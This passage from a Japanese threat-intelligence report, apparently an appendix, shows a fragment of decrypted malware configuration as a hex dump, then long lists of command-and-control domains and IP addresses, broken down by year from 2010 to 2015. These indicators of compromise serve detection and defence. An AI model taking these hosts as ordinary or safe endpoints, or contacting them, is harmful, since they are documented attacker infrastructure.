000007B0   00 00 00 00 20 8E 01 00  5B 00 52 00 45 00 44 00   .... Ž..[.R.E.D.
000007C0   41 00 43 00 54 00 45 00  44 00 5D 00 00 00 00 00   A.C.T.E.D.].....
---Truncated
```

図 27: 復号化された設定データの例

付属

インフラの完了 - すべて現在知られているドメインとサブドメイン：

10bfym.8800.org
10kjd.amazonwikis.com
1stone.zapto.org
323332.3322.org
adobekr.com
adobeus.com
amazonwikis.com
aqyj.tomshardpc.com
auto.glkjcorp.com
b3fk.sfcorporation.com
bdgs.amazonwikis.com
bdt.wordoscorp.com
bfym2.amazonwikis.com
blog.adobeus.com
blog.amazonwikis.com
blog.sfcorporation.com
blog.wih365.com
books.sfcorporation.com
bybf.amazonwikis.com
bygs.sfcorporation.com
cbgs.sfcorporation.com
cdic.sfcorporation.com
cxks.amazonwikis.com
d2ch.sfcorporation.com
dgfk.sfcorporation.com
dghk.sfcorporation.com
down.adobeus.com
ekzy.gmnspace.com
elecarrow.com
en.amazonwikis.com
exemail.net
flash.adobeus.com
fngs.adobeus.com
fsw.adobeus.com
gde.moviestops.com
ghlc.adobeus.com
glkjcorp.com
gmnspace.com
guhk.moviestops.com
health.dns1.us
hglg.wordoscorp.com
hjxt.sfcorporation.com
hkabinc.com
hkmj.amazonwikis.com
home.sfcorporation.com
hsjs.wordoscorp.com
hsy.moviestops.com
iccbhhjdgb.adobeus.com
image.amazonwikis.com
image.hkabinc.com
imnothk.8800.org
jggs.sfcorporation.com
jiaoshow.9966.org
jnhs.tomshardpc.com
jrfw.amazonwikis.com
jrgs.sfcorporation.com
js.95nb.co.cc
js.adobekr.com
js.amazonwikis.com
js.exemail.net
kb1gs.sfcorporation.com
kersperskey.8800.org
kj.uuvod.net
krgt.tomshardpc.com
lhbf.adobeus.com
login.adobekr.com
login.live.adobekr.com
login.live.wih365.com
login.wih365.com
mail.adobekr.com
mail.glkjcorp.com
mail.projectscorp.net
mailxss.9966.org
mesdata.8866.org
microbing.oicp.net
microses.9966.org
microupdate.8800.org
microwmies.oicp.net
mobile.yqby.wordoscorp.com
mocrosoftds.xicp.net
modeless.3322.org
movie.sfcorporation.com
moviestops.com
msejake.7766.org
msevpn.3322.org
music.sfcorporation.com
net.amazonwikis.com
news.amazonwikis.com
news.elecarrow.com
news.sfcorporation.com
nttvps.gnway.net
pic.elecarrow.com
pic.glkjcorp.com
pic.hkabinc.com
pics.adobeus.com
pics.amazonwikis.com
projectscorp.net
qsgs.sfcorporation.com
rbjg.moviestops.com
rbjg.moviestops.com
rbny.sfcorporation.com
rbxr.tomshardpc.com
rjby.tomshardpc.com
rjjh.wordoscorp.com
rmax.amazonwikis.com
ruag.amazonwikis.com
sane.adobeus.com
sdj2b.3322.org
sfcorporation.com
sgad.sfcorporation.com
showjiao.imzone.in
showshow.7766.org
smgs.amazonwikis.com
smtp.adobekr.com
sport.sfcorporation.com
ssl.elecarrow.com
ssl.exemail.net
ssl.gmnspace.com
ssl.projectscorp.net
ssl.sfcorporation.com
sslmails.com
sybf.adobeus.com
tcgs.adobeus.com
tdfg.moviestops.com
tech.amazonwikis.com
test.uuvod.net
tomshardpc.com
tqsj.sfcorporation.com
tzcl.sfcorporation.com
tzz.exemail.net
up.adobekr.com
update.adobekr.com
update.adobeus.com
uworks.sfcorporation.com
v.exemail.net
video.sfcorporation.com
vod.amazonwikis.com
vod.sfcorporation.com
vpntemp.3322.org
wbjs.sfcorporation.com
web.sfcorporation.com
wed.amazonwikis.com
wih365.com
wordoscorp.com
wsxg.moviestops.com
www.adobeus.com
www.projectscorp.net
www.wih365.com
wxpb.sfcorporation.com
xjgs.sfcorporation.com
xkgs.sfcorporation.com
xrgt.tomshardpc.com
xrgt.wordoscorp.com
yahoo.gmnspace.com
yahoomail.adobeus.com
ygfk.sfcorporation.com
yhkj.sfcorporation.com
yjbf.amazonwikis.com
yjxy.sfcorporation.com
yqby.wordoscorp.com
zdzl.sfcorporation.com
ziper.imbbs.in
zpgx.tomshardpc.com

すべてのIP アドレス：

108.171.240.154
111.67.199.213
111.67.199.222
112.175.69.60
112.175.69.89
112.218.71.202
113.10.139.218
113.10.168.22
113.11.202.233
114.108.150.38
116.255.131.152
118.99.37.87
118.193.163.143
120.126.134.196
120.31.68.42
123.254.111.169
124.162.53.203
124.162.53.224
125.46.42.221
126.125.35.247
126.25.172.171
126.25.201.73
173.252.201.210
175.41.23.181
203.124.12.24
203.124.12.59
210.105.192.3
210.209.116.105
210.209.117.148
210.209.117.235
210.51.13.167
211.22.125.58
211.42.249.37
218.106.246.177
218.106.246.189
218.106.246.195
218.106.246.220
218.106.246.222
218.106.246.254
218.106.247.81
23.238.229.128
27.255.72.68
27.255.72.69
27.255.72.78
59.188.13.133
59.188.13.137

年別インフラ（変換先確定時）

2010 C2 インフラ:

IPアドレス：

218.106.246.195
218.106.246.220
218.106.246.254
111.67.199.213
125.46.42.221
124.162.53.224
124.162.53.203
113.11.202.233

ドメイン：

bfym2.amazonwikis.com
books.sfcorporation.com
imnothk.8800.org
jiaoshow.9966.org
kb1gs.sfcorporation.com
kersperskey.8800.org
mailxss.9966.org
microses.9966.org
microupdate.8800.org
microwmies.oicp.net
mocrosoftds.xicp.net
modeless.3322.org
yhkj.sfcorporation.com

2011 C2 インフラ:

IPアドレス：

218.106.247.81
218.106.246.195
218.106.246.177
218.106.246.220
125.46.42.221
173.252.201.210
120.126.134.196
120.31.68.42

ドメイン：

*.moviestops.com
323332.3322.org
adobekr.com
js.95nb.co.cc
js.adobekr.com
login.live.adobekr.com
login.live.wih365.com
mesdata.8866.org
mocrosoftds.xicp.net
msejake.7766.org
msevpn.3322.org
sdj2b.3322.org

2012 C2 インフラ:

IPアドレス：

210.51.13.167
126.25.172.171
218.106.246.195
123.254.111.169
114.108.150.38
175.41.23.181
126.25.201.73
126.5.125.197
203.124.12.24
218.106.246.222
203.124.12.59

ドメイン：

auto.glkjcorp.com
gde.moviestops.com
health.dns1.us
mail.adobekr.com
mail.glkjcorp.com
nttvps.gnway.net
qsgs.sfcorporation.com
smtp.adobekr.com
update.adobekr.com
wsxg.moviestops.com
wxpb.sfcorporation.com

2013 C2 インフラ:

IPアドレス：

218.106.246.189
210.209.116.105
210.209.117.235
123.254.111.169
113.10.168.22
126.25.201.73
126.125.35.247
218.106.246.222
112.218.71.202

ドメイン：

en.amazonwikis.com
mail.projectscorp.net
news.sfcorporation.com
pic.elecarrow.com
qsgs.sfcorporation.com
rbjg.moviestops.com
rbny.sfcorporation.com
smtp.adobekr.com
ssl.gmnspace.com
ssl.projectscorp.net
update.adobekr.com
yahoo.gmnspace.com
yahoomail.adobeus.com

2014 C2 インフラ:

IPアドレス：

23.238.229.128
27.255.72.68
27.255.72.69
27.255.72.78
211.42.249.37
210.209.116.105
210.209.117.235
218.106.246.222
108.171.240.154
112.218.71.202
112.175.69.60
112.175.69.89
114.108.150.38

ドメイン：

b3fk.sfcorporation.com
bdt.wordoscorp.com
bfym2.amazonwikis.com
blog.sfcorporation.com
books.sfcorporation.com
bygs.sfcorporation.com
cbgs.sfcorporation.com
cdic.sfcorporation.com
d2ch.sfcorporation.com
dgfk.sfcorporation.com
gde.moviestops.com
guhk.moviestops.com
hglg.wordoscorp.com
hjxt.sfcorporation.com
home.sfcorporation.com
hsy.moviestops.com
image.amazonwikis.com
jggs.sfcorporation.com
jrfw.amazonwikis.com
jrgs.sfcorporation.com
kb1gs.sfcorporation.com
mail.projectscorp.net
movie.sfcorporation.com
music.sfcorporation.com
news.elecarrow.com
news.sfcorporation.com
pic.elecarrow.com
pic.glkjcorp.com
pics.adobeus.com
pics.amazonwikis.com
qsgs.sfcorporation.com
rbjg.moviestops.com
rbny.sfcorporation.com
ruag.amazonwikis.com
sgad.sfcorporation.com
smgs.amazonwikis.com
sport.sfcorporation.com
ssl.projectscorp.net
ssl.sfcorporation.com
tdfg.moviestops.com
tqsj.sfcorporation.com
tzcl.sfcorporation.com
uworks.sfcorporation.com
video.sfcorporation.com
vod.sfcorporation.com
wbjs.sfcorporation.com
web.sfcorporation.com
wed.amazonwikis.com
wsxg.moviestops.com
wxpb.sfcorporation.com
xjgs.sfcorporation.com
xkgs.sfcorporation.com
yahoo.gmnspace.com
ygfk.sfcorporation.com
yhkj.sfcorporation.com

2015 C2 インフラ:

IPアドレス：

113.10.139.218
126.125.35.247
27.255.72.68
218.106.246.222
210.209.116.105
210.209.117.235
118.193.163.143
114.108.150.38
210.209.117.148
118.99.37.87

ドメイン：

ekzy.gmnspace.com
hsjs.wordoscorp.com
jnhs.tomshardpc.com
mail.projectscorp.net
news.elecarrow.com
pic.glkjcorp.com
rbjg.moviestops.com
rjby.tomshardpc.com
rjjh.wordoscorp.com
ssl.exemail.net
ssl.gmnspace.com
ssl.projectscorp.net
tzz.exemail.net
up.adobekr.com
v.exemail.net
wih365.com
yqby.wordoscorp.com
zpgx.tomshardpc.com